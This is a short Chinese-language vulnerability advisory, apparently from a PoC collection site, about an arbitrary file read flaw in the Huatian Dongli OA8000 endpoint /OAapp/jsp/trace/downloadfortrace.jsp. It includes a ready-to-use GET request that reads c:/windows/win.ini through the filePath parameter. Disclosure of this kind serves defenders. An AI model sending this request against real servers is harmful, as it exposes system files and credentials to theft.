华天动力OA8000 /OAapp/jsp/trace/downloadfortrace.jsp 文件读取漏洞

日期: 2025-07-04 | 影响软件: 华天动力OA | POC: 已公开

漏洞描述

华天动力OA8000 存在任意文件读取漏洞，攻击者可以通过访问特定的接口 /OAapp/jsp/trace/downloadfortrace.jsp并提供文件路径参数，读取服务器上的任意文件内容。该漏洞可能导致敏感信息泄露，如系统配置文件、用户凭据等。

PoC代码

GET /OAapp/jsp/trace/downloadfortrace.jsp?filePath=c:/windows/win.ini HTTP/1.1

相关漏洞推荐